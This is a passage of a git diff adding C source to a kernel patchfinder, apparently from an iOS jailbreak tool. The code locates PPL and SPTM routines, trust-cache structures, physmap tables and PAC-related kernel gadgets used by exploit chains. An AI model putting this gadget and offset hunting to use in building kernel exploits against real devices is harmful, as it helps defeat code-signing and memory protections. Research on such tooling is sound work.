sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + ppl_dispatch_section = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return ppl_dispatch_section; +} + +static uint64_t xpf_find_ppl_enter(void) +{ + uint64_t ppl_dispatch_section = xpf_item_resolve("kernelSymbol.ppl_dispatch_section"); + XPF_ASSERT(ppl_dispatch_section); + __block uint64_t ppl_enter = 0; + arm64_dec_b_l(pfsec_read32(gXPF.kernelTextSection, ppl_dispatch_section+4), ppl_dispatch_section+4, &ppl_enter, NULL); + return ppl_enter; +} + +static uint64_t xpf_find_ppl_bootstrap_dispatch(void) +{ + uint64_t ppl_enter = xpf_item_resolve("kernelSymbol.ppl_enter"); + XPF_ASSERT(ppl_enter); + + uint32_t cbzAny = 0, cbzAnyMask = 0; + arm64_gen_cb_n_z(OPT_BOOL(false), ARM64_REG_ANY, OPT_UINT64_NONE, &cbzAny, &cbzAnyMask); + + uint64_t cbzPPLDispatchAddr = pfsec_find_next_inst(gXPF.kernelTextSection, ppl_enter, 30, cbzAny, cbzAnyMask); + if (cbzPPLDispatchAddr) { + uint64_t ppl_bootstrap_dispatch = 0; + arm64_dec_cb_n_z(pfsec_read32(gXPF.kernelTextSection, cbzPPLDispatchAddr), cbzPPLDispatchAddr, NULL, NULL, &ppl_bootstrap_dispatch); + return ppl_bootstrap_dispatch; + } + else { + uint32_t bCondAnyInst = 0, bCondAnyMask = 0; + arm64_gen_b_c_cond(OPT_BOOL(false), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_COND_ANY, &bCondAnyInst, &bCondAnyMask); + uint64_t bcondPPLDispatchAddr = pfsec_find_next_inst(gXPF.kernelTextSection, ppl_enter, 30, bCondAnyInst, bCondAnyMask); + XPF_ASSERT(bcondPPLDispatchAddr); + + uint64_t ppl_bootstrap_dispatch = 0; + arm64_dec_b_c_cond(pfsec_read32(gXPF.kernelTextSection, bcondPPLDispatchAddr), bcondPPLDispatchAddr, &ppl_bootstrap_dispatch, NULL, NULL); + return ppl_bootstrap_dispatch; + } +} + +static uint64_t xpf_find_ppl_handler_table(void) +{ + uint64_t ppl_bootstrap_dispatch = xpf_item_resolve("kernelSymbol.ppl_bootstrap_dispatch"); + XPF_ASSERT(ppl_bootstrap_dispatch); + + uint32_t addAny = 0, addAnyMask = 0; + arm64_gen_add_imm(ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &addAny, &addAnyMask); + + uint64_t addAddr = pfsec_find_next_inst(gXPF.kernelTextSection, ppl_bootstrap_dispatch, 30, addAny, addAnyMask); + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, addAddr); +} + +static uint64_t xpf_find_ppl_routine(uint32_t idx) +{ + uint64_t ppl_handler_table = xpf_item_resolve("kernelSymbol.ppl_handler_table"); + XPF_ASSERT(ppl_handler_table); + return pfsec_read_pointer(gXPF.kernelDataConstSection, ppl_handler_table + (sizeof(uint64_t) * idx)); +} + +static uint64_t xpf_find_ppl_dispatch_func(uint32_t idx) +{ + uint64_t ppl_dispatch_section = xpf_item_resolve("kernelSymbol.ppl_dispatch_section"); + XPF_ASSERT(ppl_dispatch_section); + + uint32_t movToFind = 0, movMaskToFind = 0; + arm64_gen_mov_imm('z', ARM64_REG_X(15), OPT_UINT64(idx), OPT_UINT64(0), &movToFind, &movMaskToFind); + + return pfsec_find_next_inst(gXPF.kernelTextSection, ppl_dispatch_section, 1000, movToFind, movMaskToFind); +} + +static uint64_t xpf_find_pmap_image4_trust_caches(void) +{ + uint64_t pmap_lookup_in_loaded_trust_caches_internal = xpf_item_resolve("kernelSymbol.pmap_lookup_in_loaded_trust_caches_internal"); + XPF_ASSERT(pmap_lookup_in_loaded_trust_caches_internal); + + uint32_t ldrLitAny = 0, ldrLitAnyMask = 0; + arm64_gen_ldr_lit(ARM64_REG_ANY, OPT_UINT64_NONE, OPT_UINT64_NONE, &ldrLitAny, &ldrLitAnyMask); + uint64_t ldrLitAddr = pfsec_find_next_inst(gXPF.kernelPPLTextSection, pmap_lookup_in_loaded_trust_caches_internal, 20, ldrLitAny, ldrLitAnyMask); + if (ldrLitAddr) { + uint64_t ldrTarget = 0; + arm64_dec_ldr_lit(pfsec_read32(gXPF.kernelPPLTextSection, ldrLitAddr), ldrLitAddr, &ldrTarget, NULL); + return ldrTarget; + } + + /*uint32_t ldrAny = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAny, &ldrAnyMask); + uint64_t ldrAddr = pfsec_find_next_inst(gXPF.kernelPPLTextSection, pmap_lookup_in_loaded_trust_caches_internal, 20, ldrAny, ldrAnyMask); + if (ldrAddr) { + uint32_t ldrInst = pfsec_read32(gXPF.kernelPPLTextSection, ldrAddr); + arm64_register reg; + uint64_t ldrImm = 0; + arm64_dec_ldr_imm(ldrInst, NULL, ®, &ldrImm, NULL); + uint32_t adrpInst = 0, adrpInstAny = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, reg, &adrpInst, &adrpInstAny); + uint64_t adrpAddr = pfsec_find_prev_inst(gXPF.kernelPPLTextSection, ldrAddr, 20, adrpInst, adrpInstAny); + if (adrpAddr) { + uint32_t adrpInst = pfsec_read32(gXPF.kernelPPLTextSection, adrpAddr); + uint64_t adrpTarget = 0; + arm64_dec_adr_p(adrpInst, adrpAddr, &adrpTarget, NULL, NULL); + return adrpTarget + ldrImm; + } + }*/ + + return 0; +} + +static uint64_t xpf_find_pmap_query_trust_cache_safe(void) +{ + uint64_t pmap_lookup_in_loaded_trust_caches_internal = xpf_item_resolve("kernelSymbol.pmap_lookup_in_loaded_trust_caches_internal"); + XPF_ASSERT(pmap_lookup_in_loaded_trust_caches_internal); + + uint32_t blAny = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAny, &blAnyMask); + + uint64_t blAddr = pfsec_find_next_inst(gXPF.kernelPPLTextSection, pmap_lookup_in_loaded_trust_caches_internal, 30, blAny, blAnyMask); + XPF_ASSERT(blAddr); + + uint32_t blInst = pfsec_read32(gXPF.kernelPPLTextSection, blAddr); + + uint64_t pmap_query_trust_cache_safe = 0; + arm64_dec_b_l(blInst, blAddr, &pmap_query_trust_cache_safe, NULL); + return pmap_query_trust_cache_safe; +} + +static uint64_t xpf_find_ppl_trust_cache_rt(void) +{ + uint64_t pmap_query_trust_cache_safe = xpf_item_resolve("kernelSymbol.pmap_query_trust_cache_safe"); + XPF_ASSERT(pmap_query_trust_cache_safe); + + uint32_t pacMovInst = 0, pacMovMask = 0; + arm64_gen_mov_imm('z', ARM64_REG_ANY, OPT_UINT64(0x6653), OPT_UINT64(0), &pacMovInst, &pacMovMask); + uint64_t pacMovAddr = pfsec_find_next_inst(gXPF.kernelPPLTextSection, pmap_query_trust_cache_safe, 50, pacMovInst, pacMovMask); + XPF_ASSERT(pacMovAddr); + + uint32_t addX0AnyInst = 0, addX0AnyMask = 0; + arm64_gen_add_imm(ARM64_REG_X(0), ARM64_REG_ANY, OPT_UINT64_NONE, &addX0AnyInst, &addX0AnyMask); + uint64_t ppl_trust_cache_rt_refAddr = pfsec_find_prev_inst(gXPF.kernelPPLTextSection, pacMovAddr, 10, addX0AnyInst, addX0AnyMask); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelPPLTextSection, ppl_trust_cache_rt_refAddr); +} + +static uint64_t xpf_find_load_static_trust_cache(void) +{ + PFStringMetric *trustcacheSegmentIsZeroMetric = pfmetric_string_init("trust cache segment is zero length but trust caches are available: %u @%s:%d"); + __block uint64_t trustcacheSegmentIsZeroAddr = 0; + pfmetric_run(gXPF.kernelStringSection, trustcacheSegmentIsZeroMetric, ^(uint64_t vmaddr, bool *stop) { + trustcacheSegmentIsZeroAddr = vmaddr; + *stop = true; + }); + pfmetric_free(trustcacheSegmentIsZeroMetric); + XPF_ASSERT(trustcacheSegmentIsZeroAddr); + + __block uint64_t load_static_trust_cache_mid = 0; + PFXrefMetric *trustcacheSegmentIsZeroXrefMetric = pfmetric_xref_init(trustcacheSegmentIsZeroAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, trustcacheSegmentIsZeroXrefMetric, ^(uint64_t vmaddr, bool *stop) { + load_static_trust_cache_mid = vmaddr; + *stop = true; + }); + pfmetric_free(trustcacheSegmentIsZeroXrefMetric); + XPF_ASSERT(load_static_trust_cache_mid); + + uint64_t ret = pfsec_find_function_start(gXPF.kernelTextSection, load_static_trust_cache_mid); + printf("load_static_trust_cache found? 0x%llx\n", ret); + return ret; +} + +static uint64_t xpf_find_sptm_trust_cache_rt(void) +{ + uint64_t load_static_trust_cache = xpf_item_resolve("kernelSymbol.load_static_trust_cache"); + XPF_ASSERT(load_static_trust_cache); + + // search ADRP xN, #_trust_cache_rt@PAGE; + uint32_t inst[] = { + 0x90000000, // adrp xN, #0x... + 0xf9400000, // ldr xN, [xN, #0x...] + 0xB4000000, // cbz xN, loc_... + }; + uint32_t mask[] = { + 0x9F000000, + 0xFFC00000, + 0xFF000000, + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t adrpAddr = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, load_static_trust_cache, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + + uint64_t ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("trust_cache_rt found? 0x%llx\n", ret); + return ret; +} + +static uint64_t xpf_find_pmap_pin_kernel_pages(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("pmap_pin_kernel_pages"); + __block uint64_t pmap_pin_kernel_pages_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + pmap_pin_kernel_pages_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(pmap_pin_kernel_pages_stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(pmap_pin_kernel_pages_stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pmap_pin_kernel_pages = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_pin_kernel_pages = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + XPF_ASSERT(pmap_pin_kernel_pages); + + return pmap_pin_kernel_pages; +} + +static uint64_t xpf_find_pmap_pin_kernel_pages_reference(uint32_t idx) +{ + uint64_t pmap_pin_kernel_pages = xpf_item_resolve("kernelSymbol.pmap_pin_kernel_pages"); + XPF_ASSERT(pmap_pin_kernel_pages); + + uint32_t ldrAnyInst = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAnyInst, &ldrAnyMask); + + __block uint64_t ref = 0; + __block uint32_t f = 0; + PFPatternMetric *metric = pfmetric_pattern_init(&ldrAnyInst, &ldrAnyMask, sizeof(ldrAnyInst), sizeof(uint32_t)); + pfmetric_run_in_range(gXPF.kernelTextSection, pmap_pin_kernel_pages, -1, metric, ^(uint64_t vmaddr, bool *stop) { + arm64_register destinationReg; + arm64_dec_ldr_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr), &destinationReg, NULL, NULL, NULL, NULL); + // On some kernels there is one additional ldr before the ones we're looking for + // As this always loads into x0 and the other ones don't, we can filter it out based on that metric + if (ARM64_REG_GET_NUM(destinationReg) != 0) { + if (f == idx) { + ref = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + f++; + } + }); + + return ref; +} + +static uint64_t xpf_find_phys_attribute_clear_with_flush_range(void) { + __block uint64_t phys_attribute_clear_stringAddr = 0; + PFStringMetric *physAttributeMetric = pfmetric_string_init("phys_attribute_clear(%#010x,%#010x,%#010x,%p,%p): invalid options @%s:%d"); + pfmetric_run(gXPF.kernelStringSection, physAttributeMetric, ^(uint64_t vmaddr, bool *stop) { + phys_attribute_clear_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(physAttributeMetric); + XPF_ASSERT(phys_attribute_clear_stringAddr); + + __block uint64_t phys_attribute_clear_with_flush_range = 0; + PFXrefMetric *physAttributeXrefMetric = pfmetric_xref_init(phys_attribute_clear_stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, physAttributeXrefMetric, ^(uint64_t vmaddr, bool *stop) { + phys_attribute_clear_with_flush_range = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(physAttributeXrefMetric); + printf("phys_attribute_clear_with_flush_range found? 0x%llx\n", phys_attribute_clear_with_flush_range); + return phys_attribute_clear_with_flush_range; +} + +static uint64_t xpf_find_phys_attribute_clear_with_flush_range_reference(uint32_t idx) +{ + uint64_t phys_attribute_clear_with_flush_range = xpf_item_resolve("kernelSymbol.phys_attribute_clear_with_flush_range"); + XPF_ASSERT(phys_attribute_clear_with_flush_range); + + uint32_t inst[] = { + 0x90000000, // adrp xN, #0x... + 0xf9400000, // ldr xN, [xN, #0x...] + }; + uint32_t mask[] = { + 0x9F000000, + 0xFFC00000, + }; + + // find vm_first_phys from 1st adrp + uint64_t ret = 0; + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t adrpAddr = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, phys_attribute_clear_with_flush_range, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + if(idx == 0) { + ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("vm_first_phys found? 0x%llx\n", ret); + } + + // find vm_last_phys from 2nd adrp + pfmetric_run_in_range(gXPF.kernelTextSection, adrpAddr+8, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + if(idx == 1) { + ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("vm_last_phys found? 0x%llx\n", ret); + } + + // find pp_attr_table from 3rd adrp + pfmetric_run_in_range(gXPF.kernelTextSection, adrpAddr+8, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + if(idx == 2) { + ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("pp_attr_table found? 0x%llx\n", ret); + } + + pfmetric_free(metric); + + return ret; +} + +static uint64_t xpf_find_pmap_enter_pv(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("pmap_enter_pv"); + XPF_ASSERT(stringMetric); + + __block uint64_t pmap_enter_pv_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + pmap_enter_pv_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(pmap_enter_pv_stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(pmap_enter_pv_stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pmap_enter_pv = 0; + pfmetric_run(gXPF.kernelPPLTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_enter_pv = pfsec_find_function_start(gXPF.kernelPPLTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + + return pmap_enter_pv; +} + +static uint64_t xpf_sptm_find_pv_head_table(void) +{ + //find `pte_update_wiredcnt` by xref "pmap %p (pte %p): wired count underflow @%s:%d" + PFStringMetric *stringMetric = pfmetric_string_init("pmap %p (pte %p): wired count underflow @%s:%d"); + XPF_ASSERT(stringMetric); + + __block uint64_t wired_count_underflow_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + wired_count_underflow_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(wired_count_underflow_stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(wired_count_underflow_stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pte_update_wiredcnt = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pte_update_wiredcnt = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + printf("pte_update_wiredcnt found? 0x%llx\n", pte_update_wiredcnt); + + // Find second adrp; first is vm_first_phys, second is pv_head_table + uint32_t inst[] = { + 0x90000000, // adrp xN, #0x... + 0xf9400000, // ldr xN, [xN, #0x...] + }; + uint32_t mask[] = { + 0x9F000000, + 0xFFC00000, + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t adrpAddr = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, pte_update_wiredcnt, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + + pfmetric_run_in_range(gXPF.kernelTextSection, adrpAddr+8, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + uint64_t ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("pv_head_table found? 0x%llx\n", ret); + return ret; +} + +static uint64_t xpf_find_pv_head_table(void) +{ + uint64_t pmap_enter_pv = xpf_item_resolve("kernelSymbol.pmap_enter_pv"); + XPF_ASSERT(pmap_enter_pv); + + uint32_t ldrAnyInst = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAnyInst, &ldrAnyMask); + + uint64_t ref = pfsec_find_next_inst(gXPF.kernelPPLTextSection, pmap_enter_pv, 0, ldrAnyInst, ldrAnyMask); + XPF_ASSERT(ref); + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelPPLTextSection, ref); +} + +static uint64_t xpf_sptm_find_pmap_enter_options_addr(void) +{ + // Find `pmap_enter_options_internal` by xref "pmap_enter_options(): attempt to add executable mapping to kernel_pmap @%s:%d" + PFStringMetric *stringMetric = pfmetric_string_init("pmap_enter_options(): attempt to add executable mapping to kernel_pmap @%s:%d"); + XPF_ASSERT(stringMetric); + + __block uint64_t stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pmap_enter_options_addr = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_enter_options_addr = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + printf("pmap_enter_options_addr found? 0x%llx\n", pmap_enter_options_addr); + return pmap_enter_options_addr; +} + +static uint64_t xpf_find_pmap_enter_options_addr(void) +{ + uint64_t pmap_enter_options_ppl = xpf_item_resolve("kernelSymbol.pmap_enter_options_ppl"); + XPF_ASSERT(pmap_enter_options_ppl); + + __block uint64_t pmap_enter_options_addr = 0; + + PFXrefMetric *xrefMetric = pfmetric_xref_init(pmap_enter_options_ppl, XREF_TYPE_MASK_CALL); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + // Find an Xref, that within the the previous 25 instructions... + if (pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 25, 0x12000000, 0x7F800000) && // Has an AND + pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 25, 0x32000000, 0x7F800000) && // Has an ORR + !pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 25, 0x53000000, 0x7F800000)) { // Has no LSL + pmap_enter_options_addr = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + }); + pfmetric_free(xrefMetric); + + return pmap_enter_options_addr; +} + +static uint64_t xpf_sptm_find_pmap_remove_options(void) +{ + // Find `pmap_remove_options` by xref "pmap_remove_options_internal" + PFStringMetric *stringMetric = pfmetric_string_init("pmap_remove_options_internal"); + XPF_ASSERT(stringMetric); + + __block uint64_t stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pmap_remove_options = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_remove_options = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + printf("pmap_remove_options found? 0x%llx\n", pmap_remove_options); + return pmap_remove_options; +} + +static uint64_t xpf_find_pmap_remove_options(void) +{ + uint64_t pmap_remove_options_ppl = xpf_item_resolve("kernelSymbol.pmap_remove_options_ppl"); + XPF_ASSERT(pmap_remove_options_ppl); + + __block uint64_t pmap_remove_options = 0; + + PFXrefMetric *xrefMetric = pfmetric_xref_init(pmap_remove_options_ppl, XREF_TYPE_MASK_CALL); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + if (pfsec_read32(gXPF.kernelTextSection, vmaddr - 4) != 0x52802003) { + pmap_remove_options = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + } + }); + pfmetric_free(xrefMetric); + + return pmap_remove_options; +} + +void xpf_ppl_init(void) +{ + if (gXPF.kernelIsArm64e) { + xpf_item_register("kernelSymbol.ppl_enter", xpf_find_ppl_enter, NULL); + xpf_item_register("kernelSymbol.ppl_bootstrap_dispatch", xpf_find_ppl_bootstrap_dispatch, NULL); + xpf_item_register("kernelSymbol.ppl_dispatch_section", xpf_find_ppl_dispatch_section, NULL); + xpf_item_register("kernelSymbol.ppl_handler_table", xpf_find_ppl_handler_table, NULL); + xpf_item_register("kernelSymbol.pmap_enter_options_internal", xpf_find_ppl_routine, (void *)(uint32_t)10); + xpf_item_register("kernelSymbol.pmap_enter_options_ppl", xpf_find_ppl_dispatch_func, (void *)(uint32_t)10); + xpf_item_register("kernelSymbol.pmap_remove_options_ppl", xpf_find_ppl_dispatch_func, (void *)(uint32_t)23); + xpf_item_register("kernelSymbol.pmap_lookup_in_loaded_trust_caches_internal", xpf_find_ppl_routine, (void *)(uint32_t)41); + xpf_item_register("kernelSymbol.pmap_pin_kernel_pages", xpf_find_pmap_pin_kernel_pages, NULL); + xpf_item_register("kernelSymbol.pmap_enter_pv", xpf_find_pmap_enter_pv, NULL); + + + if(gXPF.isSPTMDevice) { + xpf_item_register("kernelSymbol.pmap_enter_options_addr", xpf_sptm_find_pmap_enter_options_addr, NULL); + xpf_item_register("kernelSymbol.pmap_remove_options", xpf_sptm_find_pmap_remove_options, NULL); + xpf_item_register("kernelSymbol.phys_attribute_clear_with_flush_range", xpf_find_phys_attribute_clear_with_flush_range, NULL); + xpf_item_register("kernelSymbol.vm_first_phys", xpf_find_phys_attribute_clear_with_flush_range_reference, (void *)(uint32_t)0); + xpf_item_register("kernelSymbol.vm_last_phys", xpf_find_phys_attribute_clear_with_flush_range_reference, (void *)(uint32_t)1); + xpf_item_register("kernelSymbol.pp_attr_table", xpf_find_phys_attribute_clear_with_flush_range_reference, (void *)(uint32_t)2); + xpf_item_register("kernelSymbol.pv_head_table", xpf_sptm_find_pv_head_table, NULL); + } + else { + xpf_item_register("kernelSymbol.pmap_enter_options_addr", xpf_find_pmap_enter_options_addr, NULL); + xpf_item_register("kernelSymbol.pmap_remove_options", xpf_find_pmap_remove_options, NULL); + xpf_item_register("kernelSymbol.vm_first_phys", xpf_find_pmap_pin_kernel_pages_reference, (void *)(uint32_t)0); + xpf_item_register("kernelSymbol.vm_last_phys", xpf_find_pmap_pin_kernel_pages_reference, (void *)(uint32_t)1); + xpf_item_register("kernelSymbol.pp_attr_table", xpf_find_pmap_pin_kernel_pages_reference, (void *)(uint32_t)2); + xpf_item_register("kernelSymbol.pv_head_table", xpf_find_pv_head_table, NULL); + } + + + if (strcmp(gXPF.darwinVersion, "22.0.0") >= 0) { + // iOS >=16 + xpf_item_register("kernelSymbol.pmap_query_trust_cache_safe", xpf_find_pmap_query_trust_cache_safe, NULL); + if(gXPF.isSPTMDevice) { + xpf_item_register("kernelSymbol.load_static_trust_cache", xpf_find_load_static_trust_cache, NULL); + xpf_item_register("kernelSymbol.trust_cache_rt", xpf_find_sptm_trust_cache_rt, NULL); + } + else { + xpf_item_register("kernelSymbol.trust_cache_rt", xpf_find_ppl_trust_cache_rt, NULL); + } + } + else { + // iOS <=15 + xpf_item_register("kernelSymbol.pmap_image4_trust_caches", xpf_find_pmap_image4_trust_caches, NULL); + } + } +} \ No newline at end of file diff --git a/XPF/src/ppl.h b/XPF/src/ppl.h new file mode 100644 index 0000000..d0d6ac6 --- /dev/null +++ b/XPF/src/ppl.h @@ -0,0 +1 @@ +void xpf_ppl_init(void); \ No newline at end of file diff --git a/XPF/src/xpf.c b/XPF/src/xpf.c new file mode 100644 index 0000000..b15358d --- /dev/null +++ b/XPF/src/xpf.c @@ -0,0 +1,630 @@ +#include +#include +#include +#include +#include +#include +#include "xpf.h" +#include "decompress.h" + +#include "ppl.h" +#include "non_ppl.h" +#include "common.h" +#include "bad_recovery.h" + +bool xpf_supported_always(void) +{ + return true; +} + +// iOS 15 and above +bool xpf_supported_15up(void) +{ + return strcmp(gXPF.darwinVersion, "21.0.0") >= 0; +} + +// iOS 15 and below +bool xpf_supported_15down(void) +{ + return strcmp(gXPF.darwinVersion, "22.0.0") < 0; +} + +// iOS 16 and above +bool xpf_supported_16up(void) +{ + return strcmp(gXPF.darwinVersion, "22.0.0") >= 0; +} + +// iOS 16 and below +bool xpf_supported_16down(void) +{ + return strcmp(gXPF.darwinVersion, "23.0.0") < 0; +} + +// iOS 17 and above +bool xpf_supported_17up(void) +{ + return strcmp(gXPF.darwinVersion, "24.0.0") >= 0; +} + +// iOS 15.x and 16.x +bool xpf_supported_1516(void) +{ + return xpf_supported_15up() && xpf_supported_16down(); +} + +bool xpf_supported_arm64(void) +{ + return !gXPF.kernelIsArm64e; +} + +bool xpf_arm64_kcall_supported(void) +{ + return xpf_supported_arm64() && xpf_supported_16down(); +} + +bool xpf_trigon_supported(void) +{ + return gXPF.kernelIsArm64e && xpf_supported_15up() && !gXPF.isSPTMDevice; +} + +XPFSet gBaseSet = { + .name="base", + .supported=xpf_supported_always, + .metrics={ + "kernelConstant.kernel_el", + "kernelSymbol.allproc", + "kernelSymbol.kalloc_data_external", + "kernelSymbol.kfree_data_external", + NULL + } +}; + +XPFSet gTranslationSet = { + .name="translation", + .supported=xpf_supported_always, + .metrics={ + "kernelSymbol.cpu_ttep", + "kernelSymbol.gVirtBase", + "kernelSymbol.gPhysBase", + "kernelSymbol.gPhysSize", + "kernelSymbol.ptov_table", + "kernelConstant.pointer_mask", + "kernelConstant.T1SZ_BOOT", + "kernelConstant.ARM_TT_L1_INDEX_MASK", + NULL + } +}; + +XPFSet gPhysmapSet = { + .name="physmap", + .supported=xpf_supported_always, + .metrics={ + "kernelSymbol.vm_page_array_beginning_addr", + "kernelSymbol.vm_page_array_ending_addr", + "kernelSymbol.vm_first_phys_ppnum", + "kernelSymbol.vm_first_phys", + "kernelSymbol.vm_last_phys", + "kernelSymbol.pp_attr_table", + "kernelSymbol.pv_head_table", + "kernelSymbol.ptov_table", + "kernelConstant.PT_INDEX_MAX", + "kernelSymbol.pmap_enter_options_addr", + "kernelSymbol.pmap_remove_options", + NULL + } +}; + +XPFSet gStructSet = { + .name="struct", + .supported=xpf_supported_always, + .metrics={ + "kernelStruct.proc.struct_size", + "kernelStruct.task.itk_space", + "kernelStruct.vm_map.pmap", + NULL + } +}; + +XPFSet gTrustcache15Set = { + .name="trustcache", + .supported=xpf_supported_15down, + { + "kernelSymbol.pmap_image4_trust_caches", + NULL + } +}; + +XPFSet gTrustcache16Set = { + .name="trustcache", + xpf_supported_16up, + .metrics={ + "kernelSymbol.trust_cache_rt", + NULL + } +}; + +XPFSet gBadRecoverySet = { + .name="badRecovery", + .supported=xpf_bad_recovery_supported, + .metrics={ + "kernelSymbol.hw_lck_ticket_reserve_orig_allow_invalid", + "kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed", + "kernelGadget.br_x22", + "kernelSymbol.exception_return", + "kernelGadget.exception_return_after_check", + "kernelGadget.exception_return_after_check_no_restore", + "kernelGadget.ldp_x0_x1_x8", + "kernelGadget.str_x8_x9", + "kernelGadget.str_x0_x19_ldr_x20", + "kernelGadget.pacda", + "kernelSymbol.ml_sign_thread_state", + "kernelStruct.thread.recover", + "kernelStruct.thread.machine_kstackptr", 